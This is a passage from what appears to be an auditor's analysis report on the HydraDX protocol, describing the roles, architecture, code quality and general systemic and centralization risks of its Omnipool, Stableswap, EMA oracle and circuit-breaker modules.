- Role: Represents the state of an asset within the Omnipool.

- Responsibilities: Stores various parameters related to an asset's state, such as reserves, shares, weight cap, and tradability status.
- Relevant Code: `AssetState` struct and its associated methods for conversion and updating state.
- **Position**:
- Role: Represents a position in the Omnipool, indicating when liquidity was provided for an asset at a particular price.
- Responsibilities: Stores information about the asset, the amount added to the pool, LP shares owned, and the price at which liquidity was provided.
- Relevant Code: `Position` struct and its associated methods.
- **SimpleImbalance**:
- Role: Represents an imbalance, which can be positive or negative.
- Responsibilities: Provides a simple way to handle positive or negative imbalances.
- Relevant Code: `SimpleImbalance` struct and its associated methods for addition and subtraction.
- **AssetReserveState**:
- Role: Represents the state of an asset pool reserve within the Omnipool.
- Responsibilities: Stores information about the asset reserve, hub reserve, shares, weight cap, and tradability status.
- Relevant Code: `AssetReserveState` struct and its associated methods for conversion, calculating price, and updating state.

3. **traits.rs**

- **AssetInfo**:

- Role: Represents information about an asset's state before and after a change.
- Responsibilities: Stores details such as asset ID, reserve states, delta changes, and a flag indicating safe withdrawal.
- Relevant Code: `AssetInfo` struct and its associated methods.
- **OmnipoolHooks**:
- Role: Defines hooks for handling liquidity changes, trades, and hub asset trades within the Omnipool.
- Responsibilities: Provides methods to handle various actions related to liquidity changes, trades, and hub asset trades.
- Relevant Code: `OmnipoolHooks` trait and its associated methods.
- **ExternalPriceProvider**:
- Role: Defines an interface for fetching external price information.
- Responsibilities: Provides a method to get the price of an asset pair from an external oracle.
- Relevant Code: `ExternalPriceProvider` trait and its associated method.
- **ShouldAllow**:
- Role: Defines a trait for enforcing conditions or permissions, particularly related to asset price changes.
- Responsibilities: Provides a method to ensure that a price change is allowed based on certain conditions.
- Relevant Code: `ShouldAllow` trait and its associated method.
- **EnsurePriceWithin**:
- Role: Implements the `ShouldAllow` trait to ensure that the price change is within certain bounds.
- Responsibilities: Enforces a constraint on the allowable price

change based on the current spot price, external oracle price, and a maximum allowed difference.

- Relevant Code: `EnsurePriceWithin` struct and its implementation of the `ShouldAllow` trait.

Omnipool Math

1. **math.rs**:

- **Trade Calculations**:
- Roles: `calculate_sell_state_changes`, `calculate_sell_hub_state_changes`, `calculate_buy_for_hub_asset_state_changes` and `calculate_buy_state_changes`.
- Responsibilities: These functions are responsible for calculating the delta changes in asset reserves and other parameters when trades occur, such as selling or buying assets.
- **Liquidity Operations**:
- Roles: `calculate_add_liquidity_state_changes` and `calculate_remove_liquidity_state_changes`.
- Responsibilities: These functions handle the calculations for adding and removing liquidity from the pool, including updating asset reserves, shares, and other relevant parameters.
- **Fee Calculations**:
- Roles: `calculate_fee_amount_for_buy` and `calculate_withdrawal_fee`.
- Responsibilities: These functions calculate the fees associated with trades and withdrawals, considering parameters such as asset amounts, fees, and protocol-specific configurations.

- **Imbalance Handling**:
- Roles: `calculate_imbalance_in_hub_swap` and `calculate_delta_imbalance`.
- Responsibilities: These functions handle the calculation of imbalances that may occur during trades or liquidity operations, ensuring the proper adjustment of reserves and other parameters to maintain stability.
- **Price Calculations**:
- Roles: `calculate_spot_sprice` and `calculate_lrna_spot_sprice`.
- Responsibilities: These functions calculate spot prices for assets based on their reserve states, which are essential for determining trade ratios and other financial metrics.
- **Capacity and Cap Management**:
- Roles: `calculate_cap_difference`, `calculate_tvl_cap_difference` and `verify_asset_cap`.
- Responsibilities: These functions manage the capacity and cap constraints of assets within the system, ensuring that they do not exceed predefined limits and handling adjustments based on reserve states and total hub reserves.

2. **types.rs**

- **AssetReserveState**: Represents the state of an asset within the system. Roles associated with this struct include:
- Keeper of asset reserves: Tracks the quantity of the asset in the omnipool and hub reserves.
- Keeper of LP shares: Tracks the quantity of LP shares for the asset and LP shares owned by the protocol.

- Calculator of asset price: Provides functions to calculate the price of the asset in terms of the hub asset.
- **AssetStateChange**: Represents the delta changes of asset state. Roles associated with this struct include:
- Tracker of changes: Tracks changes in reserve, hub reserve, shares, and protocol shares.
- **TradeFee**: Contains information about trade fee amounts. Roles associated with this struct include:
- Keeper of fee amounts: Tracks asset fees and protocol fees associated with trades.
- **TradeStateChange**: Represents the delta changes after a trade is executed. Roles associated with this struct include:
- Tracker of trade effects: Tracks changes in asset in, asset out, delta imbalance, HDX hub amount, and fees.
- **HubTradeStateChange**: Represents delta changes after a trade with hub asset is executed. Roles associated with this struct include:
- Tracker of hub asset trade effects: Tracks changes in assets, delta imbalance, and fees for trades involving the hub asset.
- **LiquidityStateChange**: Represents delta changes after adding or removing liquidity. Roles associated with this struct include:
- Tracker of liquidity changes: Tracks changes in asset reserves, delta imbalance, delta position reserves, delta position shares, and LP hub amount.
- **Position**: Represents a position with regard to liquidity provision. Roles associated with this struct include:
- Keeper of position information: Tracks the amount of assets added to the omnipool, LP shares owned, and the price at which liquidity was provided.

- **I129**: Represents a signed integer. Roles associated with this struct include:
- Keeper of signed integer value: Stores a signed integer value along with a flag indicating its sign.

Stableswap

1. **lib.rs**:

- **Authority Origin**: This role is designated to the origin that has the authority to create a new pool. It is specified in the `Config` trait as `type AuthorityOrigin`.
- **Liquidity Provider (LP)**: Liquidity providers are users who add liquidity to the pool by providing assets. They are the origin of functions like `add_liquidity` and `remove_liquidity`.
- **Pool Manager**: The pool manager is responsible for managing and updating pool parameters such as fees and amplification. The pool manager's role is typically associated with the `Authority Origin`.
- **System Account**: The system account, represented by `frame_system::Config::AccountId`, may have implicit roles in the contract, such as executing transactions and maintaining system-level operations.
- **Share Token Holder**: Share token holders are users who receive shares in exchange for providing liquidity to the pool. These shares represent the LP's ownership stake in the pool.

2. **types.rs**

- **PoolInfo**: Represents the properties of a liquidity pool. Roles associated with this struct include:

    - Configuration keeper: Stores parameters related to the liquidity pool such as assets, amplification, fee, and block numbers.
    - Validator: Validates the validity of the pool configuration.

- **AssetAmount**: Represents the amount of an asset. Roles associated with this struct include:

    - Data holder: Stores information about the asset ID and its amount.

- **Tradability**: Represents the tradability flags for assets. Roles associated with this struct include:

    - Permission manager: Controls the tradability permissions for different operations such as buying, selling, adding liquidity, and removing liquidity.

- **BenchmarkHelper**: Trait for benchmarking purposes. Roles associated with this trait include:

    - Benchmark utility: Provides functions for benchmarking asset registration.

- **PoolState**: Represents the state of a liquidity pool. Roles associated with this struct include:

    - State keeper: Stores information about the assets in the pool, their balances before and after a transaction, issuance amounts, and share prices.

- **StableswapHooks**: Trait for interacting with the stableswap module. Roles associated with this trait include:

    - Oracle updater: Defines functions for updating the oracle with liquidity changes and trades.
    - Weight calculator: Calculates the weight associated with liquidity changes and trades for benchmarking.

- **Default implementations** (`impl` blocks): Provide default behavior for certain structs and traits. Roles associated with these blocks include:

    - Default behavior provider: Defines default implementations for certain functionalities.

Stableswap Math

1. **math.rs**: The roles represented in the provided Rust code are primarily related to managing and interacting with a stableswap pool, which is a type of automated market maker (AMM) commonly used in decentralized finance (DeFi) platforms. Here's a breakdown of the roles associated with the functions in the code:

    - **Liquidity Providers (LPs)**:

        - LPs provide liquidity to the stableswap pool by depositing assets.
        - They receive shares representing their ownership in the pool.
        - `calculate_shares` and `calculate_shares_for_amount` functions calculate the amount of shares to be given to LPs based on the assets they provide and the fees involved.

    - **Traders**:

        - Traders interact with the stableswap pool to swap assets.
        - They may also provide liquidity to the pool and receive shares

in return.

- Functions like `calculate_out_given_in`, `calculate_in_given_out`, `calculate_out_given_in_with_fee`, and `calculate_in_given_out_with_fee` are used by traders to determine the amounts they will receive or need to send for a given trade, taking into account fees.

- **Stableswap Pool:**

  - The stableswap pool facilitates asset swaps and provides liquidity to traders.
  - It maintains reserves of various assets and calculates prices and fees for trades.
  - Functions such as `calculate_d`, `calculate_ann`, `calculate_amplification`, `normalize_reserves`, and `normalize_value` are involved in managing the stableswap pool's internal state and performing calculations related to trading and liquidity provision.

- **Governance:**

  - Governance may set parameters such as the amplification factor and fee percentage for the stableswap pool.
  - `calculate_amplification` function calculates the current amplification value based on specified parameters and the current block number, which could be set by governance.

- **Developers:**

  - Developers maintain and improve the stableswap pool's functionality.

- They implement and optimize algorithms for calculating swap amounts, share prices, fees, and other parameters.

Overall, these roles work together to ensure the efficient operation of the stableswap pool, providing liquidity to traders while incentivizing LPs with fees and share ownership in the pool.

2. **types.rs**: The roles represented in the provided Rust code are related to managing asset reserves within a system. Here's an overview:

   - **Asset Reserves Manager**:

     - This role manages the reserves of various assets within the system.
     - The `AssetReserve` struct represents each asset reserve, containing information about the reserve amount and the number of decimals.
     - The manager initializes and updates the reserves as needed.
     - It ensures that the reserves are correctly represented and can be queried when necessary.

   - **Asset Reserves Users**:

     - Users of the system interact with asset reserves for various purposes such as trading, providing liquidity, or obtaining information.
     - They may query the state of asset reserves to understand the available liquidity or perform calculations based on reserve amounts.
     - The `AssetReserve` struct provides methods like `new` and `is_zero` for users to create new asset reserves and check if a reserve is empty.

- **Integration Developers:**
    - Developers integrating this code into larger systems or applications need to understand and utilize the functionality provided by the `AssetReserve` struct.
    - They may use these reserves in conjunction with other components of their system, such as liquidity pools or trading algorithms.
    - Integration developers ensure that asset reserves are correctly managed and utilized within the broader context of their application.

Overall, the `AssetReserve` struct and associated functionality serve to manage asset reserves efficiently within a system, providing a foundational component for various financial operations and calculations.

EMA Oracle

1. **lib.rs:**
    - **Source:** The source of the data. E.g. xyk pallet.
    - **Asset Pair:** The pair of assets for which the oracle is being calculated. E.g. HDX/DOT.
    - **Period:** The period over which the oracle is averaged. E.g. 10 minutes.
    - **Oracle:** The oracle entry for the given source, asset pair, and period. Contains the price, volume, liquidity, and updated_at timestamp.
    - **Accumulator:** A temporary storage for oracle data that is aggregated during the block and updated at the end of the block.
    - **OnActivityHandler:** A callback handler for trading and liquidity

activity that schedules oracle updates.

2. **types.rs**:

- **Oracle:** The oracle is responsible for providing the price data for the asset.
- **Consumer:** The consumer is responsible for using the price data provided by the oracle.

EMA Oracle Math

1. **math.rs**:

- **EMA Calculation Functions**:
  - These functions are responsible for calculating exponential moving averages (EMAs) of prices, volumes, and liquidity.
  - Functions like `iterated_price_ema`, `iterated_balance_ema`, `iterated_volume_ema`, and `iterated_liquidity_ema` calculate EMAs based on previous values, incoming values, and smoothing factors.
- **Weighted Average Calculation Functions**:
  - Functions like `price_weighted_average`, `balance_weighted_average`, `volume_weighted_average`, and `liquidity_weighted_average` compute weighted averages for prices, balances, volumes, and liquidity.
  - These functions are used in EMA calculations to determine the influence of incoming data on the overall average.
- **Utility Functions**:

- Functions like `saturating_sub`, `multiply`, `round`, `round_to_rational`, `rounding_add`, and `rounding_sub` are utility functions used in precision handling, arithmetic operations, and rounding during EMA calculations.

- **Constants and Types:**

  - Definitions for types like `EmaPrice`, `EmaVolume`, and `EmaLiquidity` are provided.
  - Constants like `Fraction::ONE` and `Fraction::ZERO` are used in calculations.

Circuit breaker

1. **lib.rs:**

   - **Technical Origin:** This role has permission to change the trade volume limit of an asset. It is specified in the `Config` trait as `type TechnicalOrigin: EnsureOrigin<Self::RuntimeOrigin>;`. Functions that require this role include:

     - `set_trade_volume_limit`

   - **Whitelisted Accounts:** These accounts bypass checks for adding/removing liquidity. The root account is always whitelisted. Functions that check for whitelisted accounts include:

     - `ensure_add_liquidity_limit`
     - `ensure_remove_liquidity_limit`

   - **Root:** The root account always has special privileges and is considered whitelisted by default.

Invariants Generated

Note: please see function breakdowns in the warden's original submission.

Approach taken in evaluating HydraDX Protocol

Accordingly, I analyzed and audited the subject in the following steps:

1. Core Protocol Contract Overview

I focused on thoroughly understanding the codebase and providing recommendations to improve its functionality. The main goal was to take a close look at the important contracts and how they work together in the `HydraDX`.

Main contracts I looked at:

I start with the following contracts, which play crucial roles in the HydraDX:

```
omnipool/src/lib.rs
omnipool/src/types.rs
omnipool/src/traits.rs
src/omnipool/math.rs
src/omnipool/types.rs
stableswap/src/lib.rs
stableswap/src/types.rs
src/stableswap/math.rs
src/stableswap/types.rs
ema-oracle/src/lib.rs
ema-oracle/src/types.rs
src/ema/math.rs
circuit-breaker/src/lib.rs
```

I started my analysis by examining the intricate structure and functionalities

of the hydrax protocol, particularly focusing on its various modules such as Omnipool, Omnipool Math, and Stableswap. These modules offer a comprehensive suite of features for managing liquidity, trading assets, and maintaining stablecoin pools within the ecosystem.

In Omnipool, the protocol enables decentralized trading through an Automated Market Maker (AMM) model, facilitating asset swaps without intermediaries. Key functions such as asset management, position management, and trade processing are provided to ensure efficient operation of the liquidity pool. Additionally, the protocol defines types and traits to facilitate the management and interaction with the Omnipool.

The Omnipool Math module offers essential mathematical functions for calculating changes in asset states during various liquidity-related operations. Functions for selling, buying, adding liquidity, removing liquidity, as well as calculating total value locked (TVL) and cap differences, are meticulously implemented to ensure accurate state transitions within the pool. On the other hand, the Stableswap module introduces a Curve-style stablecoin AMM, allowing the creation and management of liquidity pools for stablecoins. With features like pool creation, liquidity addition, removal, and trading, the Stableswap module provides a robust framework for maintaining stablecoin liquidity pools with adjustable parameters such as amplification and trade fees.

2. Documentation review

Reviewed this doc for a more detailed and technical explanation of the HydraDX project.

3. Compiling code and running provided tests

4. Manual code review

In this phase, I initially conducted a line-by-line analysis, following that, I engaged in a comparison mode.

- **Line by Line Analysis**: Pay close attention to the contract's intended functionality and compare it with its actual behavior on a line-by-line basis.
- **Comparison Mode**: Compare the implementation of each function with established standards or existing implementations, focusing on the function names to identify any deviations.

Codebase Quality

Overall, I consider the quality of the HydraDX protocol codebase to be good. The code appears to be mature and well-developed. We have noticed the implementation of various standards adhere to appropriately. Details are explained below:

Architecture & Design: The protocol features a modular design, segregating functionality into distinct contracts (e.g., Omnipool, Stableswap, Oracle) for clarity and ease of maintenance. The use of libraries like Stableswap Math for mathematical operations also indicates thoughtful design choices aimed at optimizing contract performance and gas efficiency.

Upgradeability & Flexibility: The project does not explicitly implement upgradeability patterns (e.g., proxy contracts), which might impact long-term maintainability. Considering an upgrade path or versioning strategy could enhance the project's flexibility in addressing future requirements.

Community Governance & Participation: The protocol incorporates mechanisms for community governance, enabling token holders to influence decisions. This fosters a decentralized and participatory ecosystem, aligning with the broader ethos of blockchain development.

Error Handling & Input Validation: Functions check for conditions and validate inputs to prevent invalid operations, though the depth of validation (e.g., for edge cases transactions) would benefit from closer examination.

Code Maintainability and Reliability: The provided contracts are well-structured, exhibiting a solid foundation for maintainability and reliability. Each contract serves a specific purpose within the ecosystem, following established patterns and standards. This adherence to best practices and standards ensures that the code is not only secure but also future-proof. The usage of contracts for implementing token and security features like access control further underscores the commitment to code quality and reliability. However, the centralized control present in the form of admin and owner privileges could pose risks to decentralization and trust in the long term. Implementing decentralized governance or considering upgradeability through proxy contracts could mitigate these risks and enhance overall reliability.

Code Comments: The contracts are accompanied by comprehensive comments, facilitating an understanding of the functional logic and critical operations within the code. Functions are described purposefully, and complex sections are elucidated with comments to guide readers through the logic. Despite this, certain areas, particularly those involving intricate mechanics or tokenomics, could benefit from even more detailed commentary to ensure clarity and ease of understanding for developers new to the project or those auditing the code.

Testing: The contracts exhibit a commendable level of test coverage, approaching nearly 100%, which is indicative of a robust testing regime. This coverage ensures that a wide array of functionalities and edge cases are tested, contributing to the reliability and security of the code. However, to further enhance the testing framework, the incorporation of fuzz testing and invariant testing is recommended. These testing methodologies can uncover deeper, systemic issues by simulating extreme conditions and

verifying the invariants of the contract logic, thereby fortifying the codebase against unforeseen vulnerabilities.

Code Structure and Formatting: The codebase benefits from a consistent structure and formatting, adhering to the stylistic conventions and best practices of Solidity programming. Logical grouping of functions and adherence to naming conventions contribute significantly to the readability and navigability of the code. While the current structure supports clarity, further modularization and separation of concerns could be achieved by breaking down complex contracts into smaller, more focused components. This approach would not only simplify individual contract logic but also facilitate easier updates and maintenance.

Strengths: Among the notable strengths of the codebase are its adherence to innovative integration of blockchain technology with dex's and stableswaps. The utilization of stableswap libraries for security and standard compliance emphasizes a commitment to code safety and interoperability. The creative use of circuit-breaker/src/lib.rs and src/ema/math.rs in the Dex's mechanics demonstrates.

Documentation: The contracts themselves contain comments and some descriptions of functionality, which aids in understanding the immediate logic. It was learned that the project also provides external documentation. However, it has been mentioned that this documentation is somewhat outdated. For a project of this complexity and scope, keeping the documentation up-to-date is crucial for developer onboarding, security audits, and community engagement. Addressing the discrepancies between the current codebase and the documentation will be essential for ensuring that all stakeholders have a clear and accurate understanding of the system's architecture and functionalities.

Architecture

System Workflow

Omnipool

1. **Asset Management**:
    - Assets are added to the Omnipool, each with its own state (tradability, reserve, etc.).
    - Users can buy, sell, add liquidity, or remove liquidity for any supported asset.
2. **Position Management**:
    - Liquidity providers create positions by adding liquidity to the Omnipool.
    - Positions represent the amount of liquidity provided and the LP shares owned.
3. **Trade Execution**:
    - Trades are executed between assets in the Omnipool based on the constant product formula.
    - Trades incur fees, which are distributed to the protocol and liquidity providers.

Stableswap

1. **Pool Creation**:
    - Pools are created with a set of stablecoins and an amplification parameter.
    - The amplification parameter determines the shape of the constant product curve for the pool.

2. **Liquidity Management:**

    - Liquidity providers can add or remove liquidity from pools.
    - Liquidity changes are calculated using mathematical formulas to maintain the pool's stability.

3. **Trading:**

    - Traders can buy or sell stablecoins within a pool.
    - Trades are executed based on the constant product formula, ensuring that the price of each stablecoin remains relatively stable.

EMA Oracle

1. **Price Tracking:**

    - The EMA oracle tracks the price, volume, and liquidity of assets traded on the HydraDX.
    - This data is used to provide accurate and up-to-date information to traders and other users.

2. **Exponential Moving Average (EMA):**

    - The EMA oracle uses an EMA to smooth out price fluctuations and provide a more stable representation of asset values.
    - The EMA is calculated based on historical data and a smoothing factor.

Circuit Breaker

1. **Trade Volume and Liquidity Limits:**

    - Circuit breakers are implemented to prevent excessive trading

volume or liquidity changes in a short period.

- These limits help maintain the stability and liquidity of the HydraDX markets.

2. **Limit Enforcement**:

- The circuit breaker pallet ensures that trade volume and liquidity limits are not exceeded.
- If a limit is reached, trading or liquidity changes may be restricted until the limit resets.

Overall Workflow

The HydraDX protocol combines these components to provide a comprehensive and flexible trading platform for digital assets. Users can trade assets, provide liquidity, and access accurate price information through the EMA oracle. The circuit breaker mechanism helps ensure the stability and liquidity of the markets, while the Omnipool and Stableswap modules provide efficient and scalable trading mechanisms for both volatile and stable assets.

File Name	Core Functionality	Technical Characteristics	Importance and Management
`omnipool/src/lib.rs`	The core functionality of this contract is to provide a decentralized exchange (DEX) using an Automated Market Maker (AMM) model, allowing users to trade assets without intermediaries by pooling liquidity and utilizing on-chain math functions for state	Technical characteristics include asset management functionalities, position management represented as NFTs, and trade execution with parameters like price barriers and dynamic fees, all implemented through precise updates to pool reserves and	Importance and management in this contract involve enabling non-custodial trading with low fees, thereby promoting greater decentralization and accessibility compared to order-book based alternatives like HydraDX.

File Name	Core Functionality	Technical Characteristics	Importance and Management
	calculations.	asset imbalances using hooks and events.	
`omnipool/src/types.rs`	The core functionality of this contract is to define types and structures essential for managing an Omnipool, including representations of asset balances, prices, tradability, positions, imbalances, and asset reserve states.	Technical characteristics encompass features like using bitflags for asset tradability, providing types for representing imbalances and asset reserve states, and offering functions for converting between different representations of assets and positions.	Importance and management in this contract involve facilitating precise tracking and management of asset states and positions within the Omnipool, thereby enabling efficient liquidity provision and trading operations while ensuring consistency and accuracy in state transitions.
`omnipool/src/traits.rs`	The core functionality of this contract is to define traits, structs, and implementations facilitating the management of an Omnipool, including hooks for liquidity changes and trades, external price fetching, and enforcing price constraints.	Technical characteristics include the definition of traits such as `OmnipoolHooks`, `ExternalPriceProvider`, and `ShouldAllow`, along with types like `AssetInfo` and `EnsurePriceWithin`, which collectively enable extensibility, external integration, and validation mechanisms within the Omnipool ecosystem.	Importance and management in this contract involve providing a flexible framework for customizing Omnipool behavior, integrating external price data, and enforcing price constraints, thus ensuring the integrity and efficiency of liquidity management and trading operations within the ecosystem.
`src/omnipool/`	The core functionality of this contract is to implement mathematical functions for calculating delta changes in the state of an asset pool during liquidity-related	Technical characteristics include the provision of precise mathematical calculations for various liquidity operations, including selling, buying, adding, and removing liquidity, along with	Importance and management in this contract involve enabling accurate and efficient management of liquidity operations within the asset pool, facilitating informed

File Name	Core Functionality	Technical Characteristics	Importance and Management
`math.rs`	operations like selling, buying, adding liquidity, removing liquidity, and determining metrics such as total value locked (TVL) and cap differences.	functionalities for determining TVL and cap differences, ensuring accuracy and efficiency in managing asset pools.	decision-making regarding TVL and cap differences, thereby enhancing the stability and functionality of the liquidity system.
`src/omnipool/types.rs`	The core functionality of this contract involves defining structures and implementations for managing asset reserves, liquidity pools, and trading mechanisms, facilitating operations such as updating asset states, calculating prices, and handling balance adjustments.	Technical characteristics include the provision of structured data types and functions to efficiently represent and manipulate asset states, balance updates, trade fees, and liquidity changes within the Omnipool, ensuring accuracy and reliability in managing liquidity operations.	Importance and management in this contract entail enabling precise tracking and management of asset reserves, liquidity states, and trading activities, thereby enhancing the stability, efficiency, and functionality of the Omnipool ecosystem.
`stableswap/src/lib.rs`	The core functionality of this contract is to enable the creation and management of Curve-style stablecoin automated market maker (AMM) pools with up to 5 assets, featuring a pricing formula based on amplification and facilitating liquidity provision, removal, and asset trading.	Technical characteristics include the implementation of a stableswap pallet within the HydraDX runtime, utilizing a constant product formula for price calculation and providing roles such as `AuthorityOrigin`, `LiquidityProviderOrigin`, and `TraderOrigin` for managing pool creation, liquidity addition/removal, and trading operations.	Importance and management in this contract involve facilitating stablecoin trading with minimized volatility, enabling efficient liquidity provision and removal, and ensuring fair and transparent trading mechanisms, ultimately enhancing the stability and usability of the ecosystem for everyday transactions.
`stable`	The core functionality of this contract is to define data structures	Technical characteristics include the representation of pool	Importance and management in this contract revolve around

File Name	Core Functionality	Technical Characteristics	Importance and Management
`swap/src/types.rs`	and traits for managing stable pools, including pool properties, asset amounts, tradability flags, and interfaces for oracle interaction and weight calculation.	information through the `PoolInfo` struct, asset amounts with the `AssetAmount` struct, tradability flags with the `Tradability` bitmask, and pool state tracking with the `PoolState` struct, alongside the `StableswapHooks` trait for oracle interaction and weight calculation.	enabling the creation and management of stable pools, ensuring efficient tracking of pool state and asset tradability, and providing extensible interfaces for oracle integration and weight calculation to support stable trading operations effectively.
`src/stableswap/math.rs`	The core functionality of this contract involves implementing mathematical functions for a stableswap pool, facilitating automated market making with multiple assets, including liquidity provision, asset trading with fees, and share distribution to liquidity providers, ensuring stable trading ratios between assets.	Technical characteristics include formulas for calculating the D invariant and reserve values (Y), alongside functions for handling share minting, precision normalization, and trade execution using mathematical operations and iterative algorithms.	Importance and management in this contract revolve around maintaining accurate and stable trading within the automated market making system, enabling efficient liquidity provision, asset trading, and fair share distribution among liquidity providers, crucial for the effective operation of the stableswap pool.
`src/stableswap/types.rs`	The core functionality of this contract involves implementing the StableSwap algorithm for calculating token amounts in liquidity pools, maintaining constant reserve ratios, and facilitating token swaps.	Technical characteristics include mathematical functions like `calculate_out_given_in`, `calculate_in_given_out`, `calculate_shares`, and others, ensuring accurate calculation of token amounts, shares, and reserves in liquidity pools.	Importance and management in this contract lie in providing efficient and stable token swaps within liquidity pools, crucial for decentralized exchanges and other DeFi applications, enabling effective liquidity provision, trading, and asset management.

File Name	Core Functionality	Technical Characteristics	Importance and Management
`ema-oracle/src/lib.rs`	The core functionality of this contract involves implementing an Exponential Moving Average (EMA) oracle for tracking asset price, volume, and liquidity over time in the HydraDX protocol.	Technical characteristics include functions such as on*trade and* `*on*liquidity*changed*` for updating the oracle with trade and liquidity data, as well as methods like *get*entry and get_price` for retrieving EMA values and asset prices.	Importance and management in this contract revolve around providing accurate and up-to-date data on asset metrics, crucial for efficient price discovery, liquidity provision, and trading strategies within the HydraDX protocol, managed by the oracle's functionalities.
`ema-oracle/src/types.rs`	The core functionality of this contract involves managing Exponential Moving Average (EMA) oracles for each asset pair and period in the HydraDX protocol, updating them with trade and liquidity changes.	Technical characteristics include OracleEntry struct for storing oracle data, and functions like `calculate_new_by_integrating_incoming` and `update_to_new_by_integrating_incoming` for calculating and updating oracle entries.	Importance and management lie in providing accurate EMA data for asset pairs and periods, crucial for price tracking, liquidity monitoring, and informed decision-making within the HydraDX protocol, managed through oracle updates and calculations.
`src/ema/math.rs`	The core functionality of this contract lies in providing functions for calculating exponential moving averages (EMAs) and performing weighted averages for oracle values in the HydraDX protocol.	Technical characteristics include the calculation of EMAs and weighted averages using specified smoothing factors, as well as functions for updating outdated values and determining smoothing factors based on periods.	Importance and management revolve around accurately tracking oracle values, particularly prices, balances, volumes, and liquidity, which are crucial for informed decision-making within the HydraDX protocol, managed through the calculation and updating of EMAs and

File Name	Core Functionality	Technical Characteristics	Importance and Management
			weighted averages.
`circuit-breaker/src/lib.rs`	The core functionality of this contract lies in managing circuit breakers for trade volume and liquidity limits in the HydraDX protocol.	Technical characteristics include the definition of a Config trait specifying runtime requirements and the implementation of functions to initialize and enforce trade and liquidity limits, as well as account whitelisting.	Importance and management revolve around maintaining the stability and security of the HydraDX protocol by preventing excessive trading and liquidity operations through circuit breakers, which are configurable and enforceable via the pallet's functions and methods.

Systemic Risks, Centralization Risks, Technical Risks & Integration Risks

Here's an analysis of potential systemic, centralization, Technical and Integration risks in the contracts:

Omnipool

1. **lib.rs:**
2. **types.rs**

- **Systemic Risks:**
- **Asset Reserve State Mutation:** Changes to the asset reserve state may impact the stability and functioning of the Omnipool, potentially leading to systemic risks if not managed properly.
- **Market Liquidity Fluctuations:** Fluctuations in market liquidity can affect the overall performance and stability of the Omnipool

system, posing systemic risks to users and investors.

- **Operational risk**: The contract could be subject to downtime or other operational issues that could prevent traders from accessing their funds or executing trades.
- **Centralization Risks:**
- **Protocol-Owned Asset Shares**: The presence of protocol-owned asset shares may introduce centralization risks, potentially giving the protocol undue influence over market dynamics and user interactions.
- **Hub Asset Control**: Centralized control over the hub asset reserves may lead to centralization risks, affecting the autonomy and decentralization of the Omnipool ecosystem.
- **Technical Risks:**
- **Code complexity**: The contract code is complex and could be difficult to understand and maintain.
- **Mathematical Calculations**: The reliance on complex mathematical calculations for asset pricing and state updates introduces technical risks related to computational accuracy and efficiency.
- **Data Integrity**: Risks associated with data integrity and accuracy in asset state representation, which may impact the reliability and trustworthiness of the Omnipool system.
- **Integration Risks:**
- **Runtime Environment Dependencies**: Dependencies on specific runtime environments and configurations may pose integration risks, potentially leading to compatibility issues with different blockchain frameworks or versions.
- **Third-Party Module Integration**: Risks associated with integrating third-party modules or dependencies into the Omnipool system, including version compatibility, security vulnerabilities, and

maintenance challenges.

- **Exchange integration**: The contract may not be listed on all exchanges, which could limit the liquidity available to traders.

3. **traits.rs**

- **Systemic Risks**:
- **External Price Provider Failure**: Reliance on external price providers for asset prices may introduce systemic risks if these providers experience downtime or provide inaccurate data, leading to potential disruptions in pricing mechanisms and trade execution.
- **Price Discrepancies**: Discrepancies between the spot price and prices provided by external oracles may result in systemic risks, impacting the fairness and efficiency of trading within the Omnipool system.
- **Centralization Risks**:
- **Whitelisted Accounts Influence**: The presence of whitelisted accounts that bypass price checks may introduce centralization risks, potentially allowing certain entities to manipulate asset prices and trading activities within the Omnipool.
- **Dependency on External Oracles**: Reliance on external oracle data for price comparisons introduces centralization risks, as the accuracy and reliability of asset prices are contingent on the performance and integrity of these oracles.
- **Price manipulation**: The contract could be used to manipulate the price of assets by creating artificial demand or supply.
- **Technical Risks**:
- **Data Integrity**: Risks associated with data integrity and accuracy in asset price comparisons, including potential vulnerabilities to data manipulation or tampering that may compromise the integrity of

trading operations within the Omnipool.

- **Numerical Stability**: Risks related to numerical stability and precision in price calculations, particularly when performing arithmetic operations on fixed-point numbers, which may result in computational errors or inaccuracies.
- **Integration Risks**:
- **External Oracle Integration**: Risks associated with integrating external price providers into the Omnipool system, including challenges related to compatibility, reliability, and maintenance of these external services, which may impact the overall performance and functionality of the system.
- **Whitelisted Account Management**: Risks associated with managing whitelisted accounts within the Omnipool system, including potential complexities in account verification, authorization, and access control mechanisms, which may introduce vulnerabilities or operational inefficiencies.

Omnipool Math

1. **math.rs**:

- **Systemic Risks**:
- **Asset Price Calculation**: Incorrect calculation of asset prices may lead to systemic risks, affecting the accuracy of trade executions and liquidity provision within the system.
- **Withdrawal Fee Calculation**: Inaccurate calculation of withdrawal fees based on spot prices and oracle prices may introduce systemic risks, impacting the fairness and efficiency of liquidity withdrawals.
- **Centralization Risks**:
- **Reliance on External Data**: Dependency on external data sources,

such as spot prices and oracle prices, for fee calculations and liquidity adjustments introduces centralization risks, as the integrity and reliability of these sources can affect the overall performance of the system.

- **Imbalance Calculation**: Centralization risks arise from the calculation of imbalances in liquidity provision, as discrepancies in determining the appropriate imbalance may impact the stability and fairness of the system.
- **Technical Risks**:
- **Numerical Precision**: Risks associated with numerical precision in arithmetic operations, particularly when handling fixed-point numbers and calculating fees, may lead to technical challenges such as overflow or underflow errors, potentially compromising the accuracy of financial calculations.
- **Data Integrity**: Risks related to data integrity and accuracy in asset reserve states and position calculations, including potential vulnerabilities to data manipulation or tampering that may undermine the reliability of liquidity adjustments and fee calculations.
- **Integration Risks**:
- **External Price Integration**: Risks associated with integrating external price data providers for asset price calculations and fee determinations, including challenges related to compatibility, reliability, and security of data transmission, may impact the overall functionality and performance of the system.
- **Liquidity Adjustment Integration**: Risks arise from integrating liquidity adjustment mechanisms, such as imbalance calculations and position adjustments, into the system, including complexities in implementation, maintenance, and validation that may affect the stability and robustness of liquidity management.

2. types.rs:

- Systemic Risks:
- **Unchecked Overflow**: There is a risk of arithmetic overflow in operations involving balance updates (`BalanceUpdate`) if the balances exceed their maximum representable value. This can lead to unexpected behavior or loss of funds if not handled properly.
- Centralization Risks:
- **Protocol Controlled Shares**: The presence of `protocol_shares` in `AssetReserveState` indicates a degree of control exerted by the protocol over the LP shares for an asset. Depending on how these shares are managed and utilized, there could be centralization risks if the protocol wields disproportionate power.
- Technical Risks:
